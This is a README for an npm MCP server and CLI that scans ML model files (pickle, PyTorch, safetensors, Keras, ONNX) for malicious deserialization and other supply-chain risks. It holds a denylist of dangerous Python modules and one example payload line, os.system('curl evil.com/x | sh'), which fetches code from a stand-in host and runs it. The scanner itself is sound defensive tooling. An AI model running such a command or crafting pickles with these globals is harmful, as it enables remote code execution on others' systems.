@guardbee/mcp-model-scanner

@guardbee/mcp-model-scanner

🇬🇧 English | 🇹🇷 Türkçe | 🇨🇳 中文 | 🇯🇵 日本語 | 🇰🇷 한국어 | 🇧🇷 Português | 🇪🇸 Español | 🇩🇪 Deutsch

An MCP (Model Context Protocol) server that scans ML model files for supply-chain risks — the file itself, not the code that loads it.

Most "AI security" tooling looks at your integration code or the prompts flowing through it. This package looks at the artifact you (or a teammate, or a pip install) downloaded from Hugging Face, a registry, or an S3 bucket: a .pt/.pth/.pkl checkpoint is a pickle file, and unpickling isn't just data deserialization — it can call arbitrary Python code the moment the file is loaded (torch.load(), pickle.load(), etc). A malicious checkpoint is a real, well-documented attack vector, not a hypothetical one.

This package sends usage telemetry by default (tool name + short parameters, the scanned file's contents are never included — see @guardbee/mcp-telemetry). Disable with GUARDBEE_TELEMETRY=0.

Claude ──► model-scanner ──► Your model files
              │
              ├─ .pt / .pth / .ckpt   → PyTorch zip container: extract data.pkl, disassemble
              ├─ .pkl / .pickle / .bin → raw pickle stream, disassemble directly
              ├─ .safetensors         → header structure + disguised-binary check
              ├─ .h5 / .hdf5 / .keras → Keras Lambda-layer RCE heuristic
              └─ .onnx                → external_data path-traversal heuristic

Why pickle is the core of this

Pickle streams are bytecode for a tiny stack VM. A GLOBAL/STACK_GLOBAL opcode names any importable Python object; the very next opcodes typically call it. There is nothing stopping a crafted pickle from naming os.system or subprocess.Popen instead of a tensor-rebuilding function — and pickle.load()/torch.load() will happily resolve and invoke it. This is the same technique tools like picklescan/fickling/Hugging Face's Picklescan integration are built around.

This package implements a from-scratch pickle opcode disassembler (protocols 0–5, including the newer STACK_GLOBAL encoding used by protocol 4+) rather than shelling out to Python or using a regex — the opcode stream has to be walked correctly byte-by-byte to know where each GLOBAL reference actually is, and a regex over raw bytes would both miss and misfire constantly.

Every GLOBAL/STACK_GLOBAL/INST reference found is checked against:

• a denylist of modules with no legitimate reason to appear in a tensor deserialization path (os, subprocess, socket, builtins.eval, ctypes, …) → reported as critical/high
• an allowlist of the modules real ML frameworks actually reference (numpy, torch, sklearn, collections, …) → silently safe, no noise
• anything else → reported as medium ("unknown", not "malicious" — for manual review, keeping the false-positive rate low)

For PyTorch's default zip-based checkpoint format, the scanner reads the ZIP central directory directly off disk (with Zip64 support) to locate and extract just the small data.pkl metadata entry — it never loads a multi-gigabyte checkpoint fully into memory.

Features

• Real pickle opcode disassembly — not a regex, not a Python subprocess call
• 31 dangerous-global rules across 6 risk categories (code-execution, process-execution, network, filesystem, reflection, deserialization)
• PyTorch zip container support (including Zip64) — extracts and scans data.pkl without loading the full checkpoint
• .safetensors structural validation — malformed/out-of-bounds headers, and detection of a pickle/zip disguised with a .safetensors extension
• Keras .h5/.keras Lambda-layer RCE heuristic
• ONNX external_data path-traversal heuristic
• Bounded reads everywhere (10MB pickle prefix, 100MB safetensors header cap, 50MB zip-entry cap) — safe against decompression bombs and won't OOM on huge model files
• SARIF 2.1.0 output — CI/CD integration (GitHub Code Scanning, etc.)
• Config file support via guardbee.yml
• 45 unit tests, plus end-to-end verification against real CPython-pickle-produced and zipfile-produced fixtures (not just hand-built ones)

Quick Start

Claude Desktop / MCP Client

{
  "mcpServers": {
    "guardbee-model-scanner": {
      "command": "npx",
      "args": ["-y", "@guardbee/mcp-model-scanner"]
    }
  }
}

CLI (CI/CD)

npx @guardbee/mcp-model-scanner scan ./models --fail-on=high --format=sarif > results.sarif

MCP Tools

Tool	Description
scan_file	Scans a single model file
scan_directory	Recursively scans a directory of model files
list_patterns	Lists the dangerous-global catalog by risk category

What it catches

Format	Check	Severity	Example
pickle / PyTorch	Reference to os, posix, nt, subprocess, socket, ctypes, runpy, pty.spawn, platform.popen, commands	critical	os.system('curl evil.com/x | sh')
pickle / PyTorch	builtins.eval/exec/compile/__import__, pickle.loads, marshal.loads	critical	recursive/nested payload, or a direct eval
pickle / PyTorch	builtins.getattr/open, shutil.*, importlib.*, requests.*, webbrowser.open, urllib*.urlopen	high	exfiltration, SSRF, file read/write
safetensors	Header starts with a pickle/zip signature instead of a length	critical	a .pkl renamed to .safetensors
safetensors	Tensor data_offsets exceed the actual data section	high	a parser reading out-of-bounds
safetensors	Invalid/oversized header length, non-JSON header	high	corrupt or adversarially crafted header
Keras .h5/.keras	class_name: "Lambda" in the model config	critical	marshalled-function RCE on load
ONNX	external_data location containing ..	high	path traversal to an arbitrary file

Full dangerous-global catalog: run the list_patterns tool, or see src/dangerousGlobals.ts.

These are heuristic findings tuned for a low false-positive rate — HDF5 and ONNX in particular are complex binary/protobuf formats scanned via a bounded text-pattern search rather than a full structural parse. Every finding should still be reviewed; a clean scan is not a formal safety proof.

Configuration (guardbee.yml)

model-scanner:
  fail-on: high       # any | critical | high | medium | low | none
  max-files: 2000
  exclude:
    - "fixtures/"

Limitations (by design)

• Only the first 10MB of a raw (non-zip) pickle stream is scanned — dangerous globals must be referenced before their instances in a pickle stream, so this bound is a reasonable trade-off against loading huge legacy checkpoints fully into memory.
• ZIP extraction supports STORED and DEFLATE only (covers the default PyTorch checkpoint format).
• HDF5/ONNX checks are pattern-based on a bounded prefix, not a full structural/protobuf parse.
• This scans the file, not runtime behavior — it does not execute or sandbox anything.

Development

npm run build
npm test             # 45 unit tests

License

MIT — GuardBee